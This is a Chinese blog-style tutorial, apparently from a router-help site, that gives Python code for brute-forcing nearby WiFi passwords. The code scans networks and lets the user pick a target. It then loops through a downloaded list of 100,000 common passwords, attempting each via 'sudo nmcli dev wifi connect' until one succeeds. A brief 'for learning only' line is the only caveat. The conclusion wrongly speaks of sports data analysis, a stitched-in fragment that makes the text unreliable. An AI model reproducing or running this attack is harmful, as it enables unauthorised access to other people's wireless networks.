用Python脚本将wifi密码破解(3步破解WiFi密码)

很多用户都很好奇那些网络大神是怎么把无线路由器wifi密码破解的,其实破解WiFi密码的难度仅限于路由器的主人把密码设置得多复杂而已,如果是用比较常用的弱密码口令,那么就很容易将WiFi破解出来。

用Python脚本将wifi密码破解(3步破解WiFi密码)

如何破解WiFi密码?

本文,将会通过Python教大家如何实现,这里纯粹是为了学习用途。

1. WiFi列表

首先,我们需要获取附近的WiFi列表。

下面,就来写一个函数来获取附近的WiFi列表,函数命名为display_targets:

def display_targets(networks, security_type):    print("Select a target: n")        rows, columns = os.popen('stty size', 'r').read().split()    for i in range(len(networks)):        width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2        spacer = " "                if (int(columns) >= 100):            calc = int((int(columns)-int(width))*0.75)        else:                calc = int(columns)-int(width)                for index in range(calc):            spacer += "."            if index == (calc-1):                spacer += " "                    print(str(i+1)+". "+networks[i]+spacer+security_type[i])

这里,我们会用到ssid工具包,用来获取附近的WiFi列表,存入到参数networks。

用Python脚本将wifi密码破解(3步破解WiFi密码)

 

2. 选择WiFi

获取WiFi列表之后,下一步要做的就是选择我们想要连接的WiFi信号。

def prompt_for_target_choice(max):    whileTrue:        try:            selected = int(input("nEnter number of target: "))            if(selected >= 1and selected <= max):                return selected - 1        except Exception as e:            ignore = e        print("Invalid choice: Please pick a number between 1 and " + str(max))

这里很简单,就是一些通用的Python功能。

 

3. 暴力破解

目前已经获取并且选择了想要连接的WiFi,那么如何获取到它的密码呢?

这里要用到一种比较常见的方式:暴力破解

这里,要用到Github上一个项目,它收集了最常用的10万个WiFi密码。我们就用着10万个密码暴力解锁WiFi即可。

def brute_force(selected_network, passwords, args):    for password in passwords:        # necessary due to NetworkManager restart after unsuccessful attempt at login        password = password.strip()        # when when obtain password from url we need the decode utf-8 however we doesnt when reading from file        if isinstance(password, str):            decoded_line = password        else:            decoded_line = password.decode("utf-8")                    if args.verbose isTrue:            print(bcolors.HEADER+"** TESTING **: with password '" +                decoded_line+"'"+bcolors.ENDC)        if (len(decoded_line) >= 8):            time.sleep(3)            creds = os.popen("sudo nmcli dev wifi connect " +                selected_network+" password "+decoded_line).read()                            # print(creds)            if ("Error:"in creds.strip()):                if args.verbose isTrue:                    print(bcolors.FAIL+"** TESTING **: password '" +                        decoded_line+"' failed."+bcolors.ENDC)            else:                sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" +                    decoded_line+"' succeeded."+bcolors.ENDC)        else:            if args.verbose isTrue:                print(bcolors.OKCYAN+"** TESTING **: password '" +                    decoded_line+"' too short, passing."+bcolors.ENDC)    print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)

核心功能3个函数就完成了,只用了60行Python代码!

下面就把它们串联在一起:

def main():    require_root()    args = argument_parser()    # The user chose to supplied their own url    if args.url isnotNone:        passwords = fetch_password_from_url(args.url)    # user elect to read passwords form a file    elif args.file isnotNone:        file = open(args.file, "r")        passwords = file.readlines()        ifnot passwords:            print("Password file cannot be empty!")            exit(0)        file.close()    else:        # fallback to the default list as the user didnt supplied a password list        default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt"        passwords = fetch_password_from_url(default_url)    # grabbing the list of the network ssids    func_call = start(1)    networks = func_call[0]    security_type = func_call[1]        ifnot networks:        print("No networks found!")        sys.exit(-1)    display_targets(networks, security_type)    max = len(networks)    pick = prompt_for_target_choice(max)    target = networks[pick]        print("nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")    brute_force(target, passwords, args)

不同的颜色代表不同不同的结果:

红色:测试失败绿色:破解成功紫色:测试中

现在,是不是发现这个看上去很复杂的事情变得简单许多?

结语:

运动中充满了各种不同维度的数据,上述只是列举出一些我个人比较感兴趣的维度进行了分析与可视化。

希望,能够对你有所启示,能够发掘更有价值、有趣的信息,在学习和乐趣中得到最佳的实践。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 chuangxiangniao@163.com 举报,一经查实,本站将立刻删除。
发布者:玩转路由网,转转请注明出处:https://luyou.chuangxiangniao.com/p/9121.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
怎样重置无线路由器192.168.1.1?(恢复出厂设置)
上一篇 2026年9月5日 08:33:37
路由器wifi管理员登录入口
下一篇 2026年9月5日 08:50:08

相关推荐

  • 手机上可以连接WIFI,但笔记本电脑无法连接上网

    我的手机可以正常连接WIFI无线上网,但使用笔记本就不行了,无法上网,请问怎么回事呢? 管理员回复: 如果你手机能够正常连接WIFI上网而笔记本不能上网,证明其无线路由器不存在网络问题,原因可能出在笔记本电脑本身上,你可以按以下方法排除故障。 1;如果您的笔记本电脑无法使用Wi-Fi,则其驱动程序或…

    2026年9月12日
    100
  • 教大家如何修改水星无线路由器默认密码admin

    教大家如何修改水星无线路由器默认密码admin教大家如何修改水星无线路由器默认密码admin教大家如何修改水星无线路由器默认密码admin教大家如何修改水星无线路由器默认密码admin

    今天教大家如何修改水星无线路由器默认密码 1、将无线路由器连接后,插入电源 2、使用默认的路由器地址登陆:在IE地址栏中输入http://192.168.1.1,随即会弹出一个用户名及密码框,输入默认值admin。   输入正确后,就可以进入路由器设置界面,选择“设置导向”如下图所示:   选择上网…

    2026年9月12日 路由器百科
    300
  • 没有电脑可以装无线路由器吗?怎么设置

    不少家庭会装无线路由器;包括一些餐厅都会免费为大家提供WIFI上网;那么好多人会问没有电脑能不能装无线路由器;装了无线路由器没有电脑该怎么设置呢?虽然问题很小白;但还是有人会搞不清楚的;下面就来看看没有电脑怎么用无线路由器吧。 本文主要挑2个比较小白的路由器问题进行解答,希望对有类似疑问的朋友有所帮…

    2026年9月12日
    100
  • 魔术家路由器登陆用户名和密码是什么?

    h3c魔术家路由器的登陆密码是多少?忘记登陆密码怎么办? 管理员回复: 192.168.124.1是用作h3c魔术家的登陆地址,如果你已经进入到路由器界面,而不知道管理密码的话,可能你需要通过以下方式来知道你的路由器初始密码或者重新设置登录密码。 魔术家路由器的没有默认登陆密码的,但初始设置路由器过…

    2026年9月12日
    1200
  • 手机能登陆路由器设置界面吗?

    我家没有电脑,但安装了一台无线路由器,我想知道我该如何登陆到路由器的界面修改路由器密码,请问使用手机可不可以登陆。 管理员回复: 如果你想修改路由器管理密码或无线密码都是需要登陆到路由器界面的,不管你是使用手机还是电脑都是可以登陆到路由器设置界面的。登陆路由器界面唯一需要注意的就是你的上网设备需要先…

    2026年9月12日
    400
  • 192.168.0.1登陆页面

    192.168.0.1登陆页面是路由器的默认管理界面;IP地址192.168.0.1可以用来登陆路由器对其网络进行基本设置和高级配置。 如果你现在需要登陆到192.168.0.1;请直接点击下方连接进入到路由器界面。 192.168.0.1 如何登录到192.168.0.1? 如果你的无线路由器默认…

    2026年9月12日
    3100
  • 看电力猫与无线路由器的完美搭配让信号满格

      如果你的房子非常大,想要搭建无线网络,我猜很多人会选择大功率的无线路由器,其实经过研究表明,这会有损你的健康,今日我们要带给大家一套使用电力猫与无线路由器的完美搭配方案,让你的信号无处不在又不损坏健康。   研究表明,使用大功率无线路由器的辐射确实会影响植物的生长。丹麦五名女中学生进行一次辐射实…

    2026年9月12日
    000
  • 腾达路由器登陆IP地址是多少?

    想要进入腾达路由器的登陆页面,请问腾达路由器登录IP地址是多少呢? 管理员回复: 部分腾达路由器的默认登陆地址是tendawifi.com;还有某些腾达路由器使用router.ctc登陆,但如果你想要使用IP地址登陆腾达路由器,你可以使用【192.168.0.1】。 登陆IP地址可以修改的,万一你以…

    2026年9月12日
    100
  • 192.168.168.168登录页面用户名密码

    192.168.168.168是局域网中的IP,可以作为路由器的默认登陆地址。很多人找不到无线路由器的登录方法。您可以尝试单击链接:http://192.168.168.168登录管理界面。 192.168.168.168 IP地址能做什么? 路由器可以使用多个IP作为登录地址,但是192.168.…

    2026年9月12日
    100
  • 路由器没网能用手机数据流量登录吗?

    现在路由器没网也登录不了,怎样用手机流量数据来登录路由器? 管理员回复: 登录路由器是不需要接入网络的, 也就是说你不需要联网只需接入路由器的局域网络就可以登陆路由器界面了. 登录路由器无需接入光猫; 因为路由器的登陆地址是私有专有地址, 如192.168.1.1或192.168.0.1  如果你的…

    2026年9月12日
    500
  • 电信光纤猫该怎么与无线路由器连接上网

    电信光纤猫该怎么与无线路由器连接上网电信光纤猫该怎么与无线路由器连接上网电信光纤猫该怎么与无线路由器连接上网电信光纤猫该怎么与无线路由器连接上网

    去年搬家时将电信10M网络迁移,电信公司人员将原来的路由器收回并且给我们换成了光猫(中兴ZXA10 F401)+烽火HG330路由器的组合。换了之后HG330路由器自带无线路由,而且提供了3个网络接口和一个IPTV接口,还有两个电话接口。本来以为省了一个无线路由器,可是用了一段时间却发现一大堆问题。…

    2026年9月12日 路由器百科
    200
  • 路由器登录管理密码输入错误怎么办?

    我想登录路由器,但是路由器管理界面的登录密码一直错误,进不了路由器。路由器管理员密码一直错误怎么办? 管理员回复: 路由器管理员密码或者登录密码是用来管理你的路由器使用的,如果你是初次设置路由器,通常路由器会有一个默认的密码,你可以查看你的路由器底部看看有没有一个名牌贴纸;上面会有你路由器的登录信息…

    2026年9月12日
    200
  • 无线路由器一体机如何连接光纤猫上网

    无线路由器一体机如何连接光纤猫上网无线路由器一体机如何连接光纤猫上网无线路由器一体机如何连接光纤猫上网无线路由器一体机如何连接光纤猫上网

    今日换了一个新的路由器,买的是TPLINK的无线路由器一体机,以前用ADSL拨号直接用这个路由器一体机就可以设置上网了,现在家里接了光纤宽带,要把光纤猫连接这个无线路由器一体机上网着实为难了我一下,不过还好总算是设置和了,苹果笔记本macbook上网也没有问题。下面看看我是如何设置的。 首先就是先用…

    2026年9月12日 路由器百科
    100
  • 手机联网了,怎么还是不能够用上网

    我的手机连接了无线路由器的WIFI网络,怎么还是不能够上网呢?能否帮忙解决。 管理员回复: 手机连接到路由器的Wi-Fi网络,但并不表明你能够正常上网,这是因为路由器也需要从光猫获取到正确的IP然后再使用DHCP服务分配给手机、电脑等其他设备上网。 排除网络故障,我们需要排除光猫、路由器、手机三个设…

    2026年9月12日
    100
  • 192.168.1.1和192.168.0.1 IP地址之间的区别

    192.168.1.1与192.168.0.1有什么不同?首先它们都是属于私有IP地址(此IP地址是不需要因特网服务商提供分配的),专门用于路由器、光猫、打印机等设备的登陆地址。 私有IP地址,我们可以分为三类,而192.168.1.1就属于C类IP地址。 以下是路由百科提供的私有IP地址范围: I…

    2026年9月12日
    500
  • 有线路由器成功连接无线路由器上网步骤

    有线路由器成功连接无线路由器上网步骤有线路由器成功连接无线路由器上网步骤有线路由器成功连接无线路由器上网步骤有线路由器成功连接无线路由器上网步骤

    前天花了89块大洋在京东商城上买了一台TP-LINK TL-WR740N 150M的无线路由器,今天到货,于是晚上迫不及待的想尝试一下无线网络的滋味,但是如何将两台路由器连接却又成了一个大问题。   先说说网目前家里的网络情况:长城宽带从外部接入,连入家用的TP-LINK TL-R402的有线路由器…

    2026年9月12日 路由器百科
    400
  • 如何在手机上打开192.168.3.1管理页面

    我使用的是华为无线路由器,请问如何在手机上打开华为路由器管理页面。 管理员回复: 华为无线路由器常见登陆地址为192.168.3.1;如果你是首次配置华为路由器,那么你可以通过电脑、手机、平板等上网设备登陆到192.168.3.1,使用手机登陆192.168.3.1会显示一个简版的管理系统,仅提供部…

    2026年9月12日
    500
  • 192.168.2.1手机登陆修改WIFI密码设置

    192.168.2.1手机登陆修改WIFI密码设置192.168.2.1手机登陆修改WIFI密码设置192.168.2.1手机登陆修改WIFI密码设置192.168.2.1手机登陆修改WIFI密码设置

    192.168.2.1是一个私有IP地址,它可以用于路由器的登陆地址;已知的路由器品牌斐讯路由器使用了192.168.2.1作为路由器的默认登录地址。如果您的路由器正好是斐讯路由器K2/K3等型号,那么你可以使用192.168.2.1来登陆到路由器界面。 斐讯路由器除了使用192.168.2.1作为…

    2026年9月12日 192.168.0.1
    900
  • 路由器管理员密码一直错误怎么办

    想要登陆路由器管理界面,但是输入管理员密码之后一直失败,能否找回密码? 管理员回复: 路由器管理员密码是用来登陆路由器管理页面的,不同于WIFI密码,登录管理密码是不能被找回的。假如你有台路由器多次输入密码错误,那么你肯定是忘记了路由器管理员密码;下面G路由网为您提供以下解决方法: 1;优先尝试使用…

    2026年9月12日
    400
  • 华为移动WIFI怎么使用,随时WIFI是路由器吗?

    华为移动WIFI怎么使用,随时WIFI是路由器吗?华为移动WIFI怎么使用,随时WIFI是路由器吗?华为移动WIFI怎么使用,随时WIFI是路由器吗?华为移动WIFI怎么使用,随时WIFI是路由器吗?

    华为随身wifi就是可以随身携带的wifi信号,通过无线移动路由器和无线运营商提供的无线上网芯片(sim卡),组成一个可以移动的wifi接收发射信号源。华为随身wifi怎么用?通过此套设备,可以连接到2.5G、3G或者4G网络上,形成可以移动的wifi热点,是满足出差移动办公的商务及旅游人士对网络依…

    2026年9月12日 路由器百科
    200

发表回复

登录后才能评论
关注微信